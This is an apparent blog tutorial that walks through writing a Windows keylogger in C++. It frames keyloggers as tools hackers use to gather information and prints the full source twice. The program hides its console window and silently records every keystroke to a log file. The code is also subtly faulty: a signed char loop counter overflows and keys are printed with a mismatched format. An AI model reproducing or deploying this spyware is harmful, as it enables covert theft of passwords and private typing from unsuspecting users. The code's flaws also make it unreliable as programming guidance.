18 April 2019

How to Make a Keylogger in C++


Hello friends how are you? so today I am going to show you How to Make Keylogger in C++, so lets get started if you don’t know what keyloggers are then here is a little introduction to them and why are they important to hackers to gather information.

What are Keyloggers ?

Keyloggers, as the words explains itself it is a program that will be recording/logging all the key strokes. A keylogger is a software that is used to capture key strokes that are being typed by the user in real time. And more advance keyloggers also come with many different functionalities.
Like they can send the captured keystrokes to you by email and they can also capture screen shorts, web cam images and other features are also present in more advance keyloggers.
There are many keyloggers available in the market some are paid and some are free.

Let’s start coding :

First of all you need a compiler installed on your computer you can use Visual Studio, Dev C++, Eclipse etc anyone that you like and feel comfortable using it.

Step 1: Including header files to get standard functions.

#include <iostream>
#include <Windows.h>
using namespace std;  //used to avoid the compilation errors because of redefinition of variables.
at the moment we just need these header files and they are essential.

Step 2: Declaring Global calls.

int Save(int _key, char *file);

Step 3: Main Code.

int main() {
 
 FreeConsole();

 char i;

 while (true) {
     Sleep(10);
     for (i = 8; i <= 255; i++) {
          if (GetAsyncKeyState(i) == -32767) {
             Save(i, "log.txt");
          }
     }
 }
 return 0;
}

Step 4: Storing Captured Key Strokes.

int Save(int _key, char *file) {

    cout << _key << endl;

    Sleep(10);

    FILE *OUTPUT_FILE;

    OUTPUT_FILE = fopen(file, "a+");

    if (_key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (_key == VK_BACK)
        fprintf(OUTPUT_FILE, "%s", "[BACK]");
    else if (_key == VK_LBUTTON)
        fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
    else if (_key == VK_RETURN)
        fprintf(OUTPUT_FILE, "%s", "[RETURN]");
    else if (_key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else
        fprintf(OUTPUT_FILE, "%s", &_key);

    fclose(OUTPUT_FILE);

    return 0;
}

Full code For the Keylogger :-

#include <iostream>
#include <Windows.h>

using namespace std;

int Save(int _key, char *file);

int main() {
 
 FreeConsole();

char i;

while (true) {
 Sleep(10);
 for (i = 8; i <= 255; i++) {
 if (GetAsyncKeyState(i) == -32767) {
 Save(i, "log.txt");
 }
 }
 }
 return 0;
}

int Save(int _key, char *file) {

cout << _key << endl;

Sleep(10);

FILE *OUTPUT_FILE;

OUTPUT_FILE = fopen(file, "a+");

if (_key == VK_SHIFT)
 fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
 else if (_key == VK_BACK)
 fprintf(OUTPUT_FILE, "%s", "[BACK]");
 else if (_key == VK_LBUTTON)
 fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
 else if (_key == VK_RETURN)
 fprintf(OUTPUT_FILE, "%s", "[RETURN]");
 else if (_key == VK_ESCAPE)
 fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
 else
 fprintf(OUTPUT_FILE, "%s", &_key);

fclose(OUTPUT_FILE);

return 0;
}

Thanks for the read and I hope that you liked it so if you have any question do let us know.
 know.